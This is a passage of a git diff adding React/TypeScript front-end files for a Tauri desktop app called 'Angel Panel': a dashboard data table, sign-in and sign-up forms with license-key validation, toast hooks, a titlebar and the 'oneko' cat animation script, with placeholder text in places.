onCheckedChange={(value) =>
|
||||
column.toggleVisibility(!!value)
|
||||
}
|
||||
>
|
||||
{column.id}
|
||||
</DropdownMenuCheckboxItem>
|
||||
);
|
||||
})}
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
</div>
|
||||
<div className="rounded-md border">
|
||||
<Table>
|
||||
<TableHeader>
|
||||
{table.getHeaderGroups().map((headerGroup) => (
|
||||
<TableRow key={headerGroup.id}>
|
||||
{headerGroup.headers.map((header) => {
|
||||
return (
|
||||
<TableHead key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext(),
|
||||
)}
|
||||
</TableHead>
|
||||
);
|
||||
})}
|
||||
</TableRow>
|
||||
))}
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{table.getRowModel().rows?.length ? (
|
||||
table.getRowModel().rows.map((row) => (
|
||||
<TableRow
|
||||
key={row.id}
|
||||
data-state={row.getIsSelected() && "selected"}
|
||||
>
|
||||
{row.getVisibleCells().map((cell) => (
|
||||
<TableCell key={cell.id} className="break-all flex-wrap">
|
||||
{flexRender(
|
||||
cell.column.columnDef.cell,
|
||||
cell.getContext(),
|
||||
)}
|
||||
</TableCell>
|
||||
))}
|
||||
</TableRow>
|
||||
))
|
||||
) : (
|
||||
<TableRow>
|
||||
<TableCell
|
||||
colSpan={columns.length}
|
||||
className="h-24 text-center"
|
||||
>
|
||||
No results.
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
)}
|
||||
</TableBody>
|
||||
</Table>
|
||||
</div>
|
||||
<div className="flex items-center justify-end space-x-2 py-4">
|
||||
<div className="flex-1 text-sm text-muted-foreground">
|
||||
Showing {startRow}-{endRow} of{" "}
|
||||
{table.getFilteredRowModel().rows.length} rows.
|
||||
</div>
|
||||
<div className="space-x-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => {
|
||||
if (table.getCanPreviousPage()) {
|
||||
setPageIndex((prev) => prev - 1);
|
||||
}
|
||||
}}
|
||||
disabled={!table.getCanPreviousPage()}
|
||||
>
|
||||
Previous
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => {
|
||||
if (table.getCanNextPage()) {
|
||||
setPageIndex((prev) => prev + 1);
|
||||
}
|
||||
}}
|
||||
disabled={!table.getCanNextPage()}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function Dashboard() {
|
||||
const [time, setTime] = React.useState("");
|
||||
|
||||
React.useEffect(() => {
|
||||
const updateTime = () => {
|
||||
const currentTime = new Date().toLocaleTimeString();
|
||||
setTime(currentTime);
|
||||
};
|
||||
|
||||
updateTime();
|
||||
|
||||
const intervalId = setInterval(updateTime, 1000);
|
||||
|
||||
return () => clearInterval(intervalId);
|
||||
}, []);
|
||||
|
||||
const { toast } = useToast();
|
||||
|
||||
return (
|
||||
<>
|
||||
<div className="grid grid-cols-[auto_1fr] grid-rows-[auto_1fr] w-full">
|
||||
<DashSidebar />
|
||||
|
||||
<div className="fixed top-0 left-0 w-full flex items-center bg-gray-100 p-1 border-b border-gray-400">
|
||||
<div className="flex items-center space-x-2">
|
||||
<img
|
||||
src="/angel.png"
|
||||
alt="Logo"
|
||||
className="w-8 h-8 object-cover rounded-md"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="flex-1 text-center text-sm">{time}</div>
|
||||
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Avatar className="ml-auto w-8 h-8 text-sm">
|
||||
<AvatarImage src="/kiss.jpg" alt="@0xkiss" />
|
||||
<AvatarFallback>meow</AvatarFallback>
|
||||
</Avatar>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent className="w-56">
|
||||
<DropdownMenuLabel>My Account</DropdownMenuLabel>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuGroup>
|
||||
<DropdownMenuItem>Profile</DropdownMenuItem>
|
||||
<DropdownMenuItem>Billing</DropdownMenuItem>
|
||||
<DropdownMenuItem>Settings</DropdownMenuItem>
|
||||
</DropdownMenuGroup>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem>Leaderboard</DropdownMenuItem>
|
||||
<DropdownMenuItem>GitHub</DropdownMenuItem>
|
||||
<DropdownMenuItem>Support</DropdownMenuItem>
|
||||
<DropdownMenuItem disabled>API</DropdownMenuItem>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem>Log out</DropdownMenuItem>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
</div>
|
||||
|
||||
<div className="p-4">
|
||||
<div className="w-full h-full mt-5">
|
||||
<DataTable />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<SidebarTrigger className="absolute bottom-0 right-0" />
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
export default Dashboard;
|
||||
24
full/Angel-client/src/global.ts
Normal file
@@ -0,0 +1,24 @@
|
||||
export let show_splash: boolean = true;
|
||||
|
||||
export const getShowSplash = () => show_splash;
|
||||
export const setShowSplash = (value: boolean) => {
|
||||
show_splash = value;
|
||||
};
|
||||
|
||||
export async function validate_password(password: string): Promise<boolean> {
|
||||
return new Promise((resolve) => {
|
||||
setTimeout(() => {
|
||||
const securePasswordRegex =
|
||||
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@${}\[\]()/\\`"':;,.!%*?&^<>~_\-])[A-Za-z\d@${}\[\]()/\\`"':;,.!%*?&^<>~_\-]{8,}$/;
|
||||
resolve(securePasswordRegex.test(password));
|
||||
}, 1000);
|
||||
});
|
||||
}
|
||||
|
||||
export async function open_website(url: string) {
|
||||
try {
|
||||
open(url);
|
||||
} catch (error) {
|
||||
console.error("Failed to open the website:", error);
|
||||
}
|
||||
}
|
||||
19
full/Angel-client/src/hooks/use-mobile.tsx
Normal file
@@ -0,0 +1,19 @@
|
||||
import * as React from "react"
|
||||
|
||||
const MOBILE_BREAKPOINT = 768
|
||||
|
||||
export function useIsMobile() {
|
||||
const [isMobile, setIsMobile] = React.useState<boolean | undefined>(undefined)
|
||||
|
||||
React.useEffect(() => {
|
||||
const mql = window.matchMedia(`(max-width: ${MOBILE_BREAKPOINT - 1}px)`)
|
||||
const onChange = () => {
|
||||
setIsMobile(window.innerWidth < MOBILE_BREAKPOINT)
|
||||
}
|
||||
mql.addEventListener("change", onChange)
|
||||
setIsMobile(window.innerWidth < MOBILE_BREAKPOINT)
|
||||
return () => mql.removeEventListener("change", onChange)
|
||||
}, [])
|
||||
|
||||
return !!isMobile
|
||||
}
|
||||
191
full/Angel-client/src/hooks/use-toast.ts
Normal file
@@ -0,0 +1,191 @@
|
||||
import * as React from "react"
|
||||
|
||||
import type {
|
||||
ToastActionElement,
|
||||
ToastProps,
|
||||
} from "@/components/ui/toast"
|
||||
|
||||
const TOAST_LIMIT = 1
|
||||
const TOAST_REMOVE_DELAY = 1000000
|
||||
|
||||
type ToasterToast = ToastProps & {
|
||||
id: string
|
||||
title?: React.ReactNode
|
||||
description?: React.ReactNode
|
||||
action?: ToastActionElement
|
||||
}
|
||||
|
||||
const actionTypes = {
|
||||
ADD_TOAST: "ADD_TOAST",
|
||||
UPDATE_TOAST: "UPDATE_TOAST",
|
||||
DISMISS_TOAST: "DISMISS_TOAST",
|
||||
REMOVE_TOAST: "REMOVE_TOAST",
|
||||
} as const
|
||||
|
||||
let count = 0
|
||||
|
||||
function genId() {
|
||||
count = (count + 1) % Number.MAX_SAFE_INTEGER
|
||||
return count.toString()
|
||||
}
|
||||
|
||||
type ActionType = typeof actionTypes
|
||||
|
||||
type Action =
|
||||
| {
|
||||
type: ActionType["ADD_TOAST"]
|
||||
toast: ToasterToast
|
||||
}
|
||||
| {
|
||||
type: ActionType["UPDATE_TOAST"]
|
||||
toast: Partial<ToasterToast>
|
||||
}
|
||||
| {
|
||||
type: ActionType["DISMISS_TOAST"]
|
||||
toastId?: ToasterToast["id"]
|
||||
}
|
||||
| {
|
||||
type: ActionType["REMOVE_TOAST"]
|
||||
toastId?: ToasterToast["id"]
|
||||
}
|
||||
|
||||
interface State {
|
||||
toasts: ToasterToast[]
|
||||
}
|
||||
|
||||
const toastTimeouts = new Map<string, ReturnType<typeof setTimeout>>()
|
||||
|
||||
const addToRemoveQueue = (toastId: string) => {
|
||||
if (toastTimeouts.has(toastId)) {
|
||||
return
|
||||
}
|
||||
|
||||
const timeout = setTimeout(() => {
|
||||
toastTimeouts.delete(toastId)
|
||||
dispatch({
|
||||
type: "REMOVE_TOAST",
|
||||
toastId: toastId,
|
||||
})
|
||||
}, TOAST_REMOVE_DELAY)
|
||||
|
||||
toastTimeouts.set(toastId, timeout)
|
||||
}
|
||||
|
||||
export const reducer = (state: State, action: Action): State => {
|
||||
switch (action.type) {
|
||||
case "ADD_TOAST":
|
||||
return {
|
||||
...state,
|
||||
toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT),
|
||||
}
|
||||
|
||||
case "UPDATE_TOAST":
|
||||
return {
|
||||
...state,
|
||||
toasts: state.toasts.map((t) =>
|
||||
t.id === action.toast.id ? { ...t, ...action.toast } : t
|
||||
),
|
||||
}
|
||||
|
||||
case "DISMISS_TOAST": {
|
||||
const { toastId } = action
|
||||
|
||||
// ! Side effects ! - This could be extracted into a dismissToast() action,
|
||||
// but I'll keep it here for simplicity
|
||||
if (toastId) {
|
||||
addToRemoveQueue(toastId)
|
||||
} else {
|
||||
state.toasts.forEach((toast) => {
|
||||
addToRemoveQueue(toast.id)
|
||||
})
|
||||
}
|
||||
|
||||
return {
|
||||
...state,
|
||||
toasts: state.toasts.map((t) =>
|
||||
t.id === toastId || toastId === undefined
|
||||
? {
|
||||
...t,
|
||||
open: false,
|
||||
}
|
||||
: t
|
||||
),
|
||||
}
|
||||
}
|
||||
case "REMOVE_TOAST":
|
||||
if (action.toastId === undefined) {
|
||||
return {
|
||||
...state,
|
||||
toasts: [],
|
||||
}
|
||||
}
|
||||
return {
|
||||
...state,
|
||||
toasts: state.toasts.filter((t) => t.id !== action.toastId),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const listeners: Array<(state: State) => void> = []
|
||||
|
||||
let memoryState: State = { toasts: [] }
|
||||
|
||||
function dispatch(action: Action) {
|
||||
memoryState = reducer(memoryState, action)
|
||||
listeners.forEach((listener) => {
|
||||
listener(memoryState)
|
||||
})
|
||||
}
|
||||
|
||||
type Toast = Omit<ToasterToast, "id">
|
||||
|
||||
function toast({ ...props }: Toast) {
|
||||
const id = genId()
|
||||
|
||||
const update = (props: ToasterToast) =>
|
||||
dispatch({
|
||||
type: "UPDATE_TOAST",
|
||||
toast: { ...props, id },
|
||||
})
|
||||
const dismiss = () => dispatch({ type: "DISMISS_TOAST", toastId: id })
|
||||
|
||||
dispatch({
|
||||
type: "ADD_TOAST",
|
||||
toast: {
|
||||
...props,
|
||||
id,
|
||||
open: true,
|
||||
onOpenChange: (open) => {
|
||||
if (!open) dismiss()
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
return {
|
||||
id: id,
|
||||
dismiss,
|
||||
update,
|
||||
}
|
||||
}
|
||||
|
||||
function useToast() {
|
||||
const [state, setState] = React.useState<State>(memoryState)
|
||||
|
||||
React.useEffect(() => {
|
||||
listeners.push(setState)
|
||||
return () => {
|
||||
const index = listeners.indexOf(setState)
|
||||
if (index > -1) {
|
||||
listeners.splice(index, 1)
|
||||
}
|
||||
}
|
||||
}, [state])
|
||||
|
||||
return {
|
||||
...state,
|
||||
toast,
|
||||
dismiss: (toastId?: string) => dispatch({ type: "DISMISS_TOAST", toastId }),
|
||||
}
|
||||
}
|
||||
|
||||
export { useToast, toast }
|
||||
50
full/Angel-client/src/layout.tsx
Normal file
@@ -0,0 +1,50 @@
|
||||
import React from "react";
|
||||
|
||||
const Layout: React.FC = () => {
|
||||
return (
|
||||
<>
|
||||
<div data-tauri-drag-region className="titlebar">
|
||||
<div className="titlebar-button relative group">
|
||||
<img
|
||||
src="/close.svg"
|
||||
alt="close"
|
||||
className="relative z-10 w-4 h-4 group-hover:hidden"
|
||||
/>
|
||||
<img
|
||||
src="/close_hover.svg"
|
||||
alt="close hover"
|
||||
className="relative z-10 w-4 h-4 hidden group-hover:inline"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="titlebar-button relative group">
|
||||
<img
|
||||
src="/minimize.svg"
|
||||
alt="minimize"
|
||||
className="relative z-10 w-4 h-4 group-hover:hidden"
|
||||
/>
|
||||
<img
|
||||
src="/minimize_hover.svg"
|
||||
alt="minimize hover"
|
||||
className="relative z-10 w-4 h-4 hidden group-hover:inline"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="titlebar-button relative group">
|
||||
<img
|
||||
src="/maximize.svg"
|
||||
alt="maximize"
|
||||
className="relative z-10 w-4 h-4 group-hover:hidden"
|
||||
/>
|
||||
<img
|
||||
src="/maximize_hover.svg"
|
||||
alt="maximize hover"
|
||||
className="relative z-10 w-4 h-4 hidden group-hover:inline"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
||||
export default Layout;
|
||||
6
full/Angel-client/src/lib/utils.ts
Normal file
@@ -0,0 +1,6 @@
|
||||
import { clsx, type ClassValue } from "clsx"
|
||||
import { twMerge } from "tailwind-merge"
|
||||
|
||||
export function cn(...inputs: ClassValue[]) {
|
||||
return twMerge(clsx(inputs))
|
||||
}
|
||||
14
full/Angel-client/src/main.tsx
Normal file
@@ -0,0 +1,14 @@
|
||||
import React from "react";
|
||||
import ReactDOM from "react-dom/client";
|
||||
import App from "./App";
|
||||
import { Toaster } from "@/components/ui/toaster";
|
||||
import { SidebarProvider } from "@/components/ui/sidebar";
|
||||
|
||||
ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
|
||||
<React.StrictMode>
|
||||
<SidebarProvider>
|
||||
<App />
|
||||
<Toaster />
|
||||
</SidebarProvider>
|
||||
</React.StrictMode>,
|
||||
);
|
||||
162
full/Angel-client/src/oneko.js
Normal file
@@ -0,0 +1,162 @@
|
||||
(function oneko() {
|
||||
const nekoEl = document.createElement("div");
|
||||
let nekoPosX = 32;
|
||||
let nekoPosY = 32;
|
||||
let mousePosX = 0;
|
||||
let mousePosY = 0;
|
||||
let frameCount = 0;
|
||||
let idleTime = 0;
|
||||
let idleAnimation = null;
|
||||
let idleAnimationFrame = 0;
|
||||
const nekoSpeed = 10;
|
||||
const spriteSets = {
|
||||
idle: [[-3, -3]],
|
||||
alert: [[-7, -3]],
|
||||
scratch: [
|
||||
[-5, 0],
|
||||
[-6, 0],
|
||||
[-7, 0],
|
||||
],
|
||||
tired: [[-3, -2]],
|
||||
sleeping: [
|
||||
[-2, 0],
|
||||
[-2, -1],
|
||||
],
|
||||
N: [
|
||||
[-1, -2],
|
||||
[-1, -3],
|
||||
],
|
||||
NE: [
|
||||
[0, -2],
|
||||
[0, -3],
|
||||
],
|
||||
E: [
|
||||
[-3, 0],
|
||||
[-3, -1],
|
||||
],
|
||||
SE: [
|
||||
[-5, -1],
|
||||
[-5, -2],
|
||||
],
|
||||
S: [
|
||||
[-6, -3],
|
||||
[-7, -2],
|
||||
],
|
||||
SW: [
|
||||
[-5, -3],
|
||||
[-6, -1],
|
||||
],
|
||||
W: [
|
||||
[-4, -2],
|
||||
[-4, -3],
|
||||
],
|
||||
NW: [
|
||||
[-1, 0],
|
||||
[-1, -1],
|
||||
],
|
||||
};
|
||||
function create() {
|
||||
nekoEl.id = "oneko";
|
||||
nekoEl.style.width = "32px";
|
||||
nekoEl.style.height = "32px";
|
||||
nekoEl.style.position = "fixed";
|
||||
nekoEl.style.backgroundImage =
|
||||
"url('https://estr3llas.github.io/oneko.gif')";
|
||||
nekoEl.style.imageRendering = "pixelated";
|
||||
nekoEl.style.left = "16px";
|
||||
nekoEl.style.top = "16px";
|
||||
nekoEl.style.zIndex = "99999";
|
||||
|
||||
document.body.appendChild(nekoEl);
|
||||
|
||||
document.onmousemove = (event) => {
|
||||
mousePosX = event.clientX;
|
||||
mousePosY = event.clientY;
|
||||
};
|
||||
|
||||
window.onekoInterval = setInterval(frame, 100);
|
||||
}
|
||||
|
||||
function setSprite(name, frame) {
|
||||
const sprite = spriteSets[name][frame % spriteSets[name].length];
|
||||
nekoEl.style.backgroundPosition = `${sprite[0] * 32}px ${sprite[1] * 32}px`;
|
||||
}
|
||||
|
||||
function resetIdleAnimation() {
|
||||
idleAnimation = null;
|
||||
idleAnimationFrame = 0;
|
||||
}
|
||||
|
||||
function idle() {
|
||||
idleTime += 1;
|
||||
|
||||
// every ~ 20 seconds
|
||||
if (
|
||||
idleTime > 10 &&
|
||||
Math.floor(Math.random() * 200) == 0 &&
|
||||
idleAnimation == null
|
||||
) {
|
||||
idleAnimation = ["sleeping", "scratch"][Math.floor(Math.random() * 2)];
|
||||
}
|
||||
|
||||
switch (idleAnimation) {
|
||||
case "sleeping":
|
||||
if (idleAnimationFrame < 8) {
|
||||
setSprite("tired", 0);
|
||||
break;
|
||||
}
|
||||
setSprite("sleeping", Math.floor(idleAnimationFrame / 4));
|
||||
if (idleAnimationFrame > 192) {
|
||||
resetIdleAnimation();
|
||||
}
|
||||
break;
|
||||
case "scratch":
|
||||
setSprite("scratch", idleAnimationFrame);
|
||||
if (idleAnimationFrame > 9) {
|
||||
resetIdleAnimation();
|
||||
}
|
||||
break;
|
||||
default:
|
||||
setSprite("idle", 0);
|
||||
return;
|
||||
}
|
||||
idleAnimationFrame += 1;
|
||||
}
|
||||
|
||||
function frame() {
|
||||
frameCount += 1;
|
||||
const diffX = nekoPosX - mousePosX;
|
||||
const diffY = nekoPosY - mousePosY;
|
||||
const distance = Math.sqrt(diffX ** 2 + diffY ** 2);
|
||||
|
||||
if (distance < nekoSpeed || distance < 48) {
|
||||
idle();
|
||||
return;
|
||||
}
|
||||
|
||||
idleAnimation = null;
|
||||
idleAnimationFrame = 0;
|
||||
|
||||
if (idleTime > 1) {
|
||||
setSprite("alert", 0);
|
||||
// count down after being alerted before moving
|
||||
idleTime = Math.min(idleTime, 7);
|
||||
idleTime -= 1;
|
||||
return;
|
||||
}
|
||||
|
||||
direction = diffY / distance > 0.5 ? "N" : "";
|
||||
direction += diffY / distance < -0.5 ? "S" : "";
|
||||
direction += diffX / distance > 0.5 ? "W" : "";
|
||||
direction += diffX / distance < -0.5 ? "E" : "";
|
||||
setSprite(direction, frameCount);
|
||||
|
||||
nekoPosX -= (diffX / distance) * nekoSpeed;
|
||||
nekoPosY -= (diffY / distance) * nekoSpeed;
|
||||
|
||||
nekoEl.style.left = `${nekoPosX - 16}px`;
|
||||
nekoEl.style.top = `${nekoPosY - 16}px`;
|
||||
}
|
||||
|
||||
create();
|
||||
})();
|
||||
27
full/Angel-client/src/privacy.tsx
Normal file
@@ -0,0 +1,27 @@
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
DialogClose,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
} from "@/components/ui/dialog";
|
||||
|
||||
export function PrivacyPolicy() {
|
||||
return (
|
||||
<DialogContent className="sm:max-w-md">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Privacy Policy</DialogTitle>
|
||||
<DialogDescription>bla bla bla privacy</DialogDescription>
|
||||
</DialogHeader>
|
||||
<DialogFooter className="sm:justify-start">
|
||||
<DialogClose asChild>
|
||||
<Button type="button" variant="outline">
|
||||
Close
|
||||
</Button>
|
||||
</DialogClose>
|
||||
</DialogFooter>
|
||||
</DialogContent>
|
||||
);
|
||||
}
|
||||
129
full/Angel-client/src/sign_in.tsx
Normal file
@@ -0,0 +1,129 @@
|
||||
"use client";
|
||||
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import { useForm } from "react-hook-form";
|
||||
import { z } from "zod";
|
||||
import { useToast } from "./hooks/use-toast";
|
||||
import { invoke } from "@tauri-apps/api/core";
|
||||
import { useNavigate } from "react-router-dom";
|
||||
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
FormField,
|
||||
FormItem,
|
||||
FormLabel,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import { validate_password } from "./global";
|
||||
|
||||
const formSchema = z.object({
|
||||
username: z.string().min(3, {
|
||||
message: "Username must be at least 3 characters long.",
|
||||
}),
|
||||
password: z
|
||||
.string()
|
||||
.min(8, {
|
||||
message: "Password must be at least 8 characters long.",
|
||||
})
|
||||
.refine(async (password) => await validate_password(password), {
|
||||
message:
|
||||
"Password must contain at least one uppercase letter, one lowercase letter, one number, and one special character.",
|
||||
}),
|
||||
});
|
||||
|
||||
const Sign_in = () => {
|
||||
const nav = useNavigate();
|
||||
const form = useForm({
|
||||
resolver: zodResolver(formSchema),
|
||||
defaultValues: {
|
||||
username: "",
|
||||
password: "",
|
||||
},
|
||||
});
|
||||
const { toast } = useToast();
|
||||
|
||||
async function onSubmit(_values: any) {
|
||||
const version: string = await invoke("get_app_version");
|
||||
toast({
|
||||
title: "Success: Signed in",
|
||||
description: `Loading Angel Panel v${version}...`,
|
||||
});
|
||||
|
||||
setTimeout(() => {
|
||||
nav("/dash");
|
||||
}, 2500);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="min-h-screen flex items-center justify-center login-box">
|
||||
<div className="bg-white p-8 rounded-lg shadow-lg w-full">
|
||||
<h2 className="text-2xl font-bold mb-6 text-center">
|
||||
Sign in to Your account
|
||||
</h2>
|
||||
<Form {...form}>
|
||||
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-6">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="username"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Username</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
type="username"
|
||||
placeholder="Enter your username"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="password"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Password</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
type="password"
|
||||
placeholder="Enter your unique password"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="flex items-center space-x-2 sign-in-meow mr-2 text-sm">
|
||||
<Checkbox id="remember" />
|
||||
<label
|
||||
htmlFor="remember"
|
||||
className="font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"
|
||||
>
|
||||
Remember me
|
||||
</label>
|
||||
<span className="mx-1">-</span>
|
||||
<button
|
||||
onClick={() => nav("/sign_up")}
|
||||
className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition"
|
||||
>
|
||||
Sign up
|
||||
</button>
|
||||
</div>
|
||||
<Button type="submit" className="w-full">
|
||||
Continue
|
||||
</Button>
|
||||
</form>
|
||||
</Form>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default Sign_in;
|
||||
228
full/Angel-client/src/sign_up.tsx
Normal file
@@ -0,0 +1,228 @@
|
||||
"use client";
|
||||
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import { useForm } from "react-hook-form";
|
||||
import { z } from "zod";
|
||||
import { useToast } from "./hooks/use-toast";
|
||||
import { invoke } from "@tauri-apps/api/core";
|
||||
import { useNavigate } from "react-router-dom";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
FormField,
|
||||
FormItem,
|
||||
FormLabel,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import { validate_password, open_website } from "./global";
|
||||
import { TermsConditions } from "./terms";
|
||||
import { PrivacyPolicy } from "./privacy";
|
||||
import { Dialog, DialogTrigger, DialogOverlay } from "@/components/ui/dialog";
|
||||
|
||||
async function validate_license(license: string): Promise<boolean> {
|
||||
const isValid: boolean = await invoke("validate_license", {
|
||||
license: license,
|
||||
});
|
||||
|
||||
return new Promise((resolve) => {
|
||||
setTimeout(() => {
|
||||
resolve(isValid);
|
||||
}, 1000);
|
||||
});
|
||||
}
|
||||
|
||||
async function validate_username(username: string): Promise<boolean> {
|
||||
const isValid: boolean = await invoke("validate_username", {
|
||||
username: username,
|
||||
});
|
||||
|
||||
return new Promise((resolve) => {
|
||||
setTimeout(() => {
|
||||
resolve(isValid);
|
||||
}, 1000);
|
||||
});
|
||||
}
|
||||
|
||||
const formSchema = z.object({
|
||||
license: z
|
||||
.string()
|
||||
.refine(async (license) => await validate_license(license), {
|
||||
message: "Invalid license. Please provide a valid license key.",
|
||||
}),
|
||||
username: z
|
||||
.string()
|
||||
.min(3, {
|
||||
message: "Username must be at least 3 characters long.",
|
||||
})
|
||||
.refine(async (username) => await validate_username(username), {
|
||||
message: "Username is already in use. Please choose a different one.",
|
||||
}),
|
||||
password: z
|
||||
.string()
|
||||
.min(8, {
|
||||
message: "Password must be at least 8 characters long.",
|
||||
})
|
||||
.refine(async (password) => await validate_password(password), {
|
||||
message:
|
||||
"Password must contain at least one uppercase letter, one lowercase letter, one number, and one special character.",
|
||||
}),
|
||||
terms: z.boolean().refine((val) => val === true, {
|
||||
message: "You must accept the Terms and Conditions.",
|
||||
}),
|
||||
});
|
||||
|
||||
const Sign_up = () => {
|
||||
const nav = useNavigate();
|
||||
const form = useForm({
|
||||
resolver: zodResolver(formSchema),
|
||||
defaultValues: {
|
||||
username: "",
|
||||
password: "",
|
||||
license: "",
|
||||
terms: false,
|
||||
},
|
||||
});
|
||||
const { toast } = useToast();
|
||||
|
||||
async function onSubmit(_values: any) {
|
||||
const version: string = await invoke("get_app_version");
|
||||
toast({
|
||||
title: "Success: Signed up",
|
||||
description: `Loading Angel Panel v${version}...`,
|
||||
});
|
||||
|
||||
setTimeout(() => {
|
||||
nav("/dash");
|
||||
}, 2500);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="min-h-screen flex items-center justify-center login-box">
|
||||
<div className="bg-white shadow-lg p-8 rounded-lg w-full">
|
||||
<h2 className="text-2xl font-bold mb-6 text-center">
|
||||
Create an account
|
||||
</h2>
|
||||
<Form {...form}>
|
||||
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-6">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="username"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Username</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
type="username"
|
||||
placeholder="Enter your desired username"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="password"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Password</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
type="password"
|
||||
placeholder="Enter your unique password"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="license"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>License</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
type="license"
|
||||
placeholder="1E838829-5117-4AaA-8727-B15Ab178D0e5"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="flex items-center space-x-2 sign-in-meow mr-2 text-sm">
|
||||
<button
|
||||
onClick={() => nav("/sign_in")}
|
||||
className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition"
|
||||
>
|
||||
Sign in
|
||||
</button>
|
||||
<span className="mx-1">-</span>
|
||||
<button
|
||||
onClick={() => {
|
||||
open_website("https://hentaihaven.xxx/");
|
||||
}}
|
||||
className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition"
|
||||
>
|
||||
Purchase
|
||||
</button>
|
||||
</div>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="terms"
|
||||
render={({ field }) => (
|
||||
<div className="flex items-center space-x-2 sign-in-meow mr-2 text-sm">
|
||||
<Checkbox
|
||||
id="terms"
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
<label
|
||||
htmlFor="terms"
|
||||
className="font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"
|
||||
>
|
||||
I accept the{" "}
|
||||
<Dialog>
|
||||
<DialogTrigger asChild>
|
||||
<button className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition hover:no-underline underline">
|
||||
Terms and Conditions
|
||||
</button>
|
||||
</DialogTrigger>
|
||||
<DialogOverlay className="dialog-overlay" />
|
||||
<TermsConditions />
|
||||
</Dialog>{" "}
|
||||
and acknowledge the{" "}
|
||||
<Dialog>
|
||||
<DialogTrigger asChild>
|
||||
<button className="text-black hover:bg-gray-300 hover:bg-opacity-50 px-1 rounded transition hover:no-underline underline">
|
||||
Privacy Policy
|
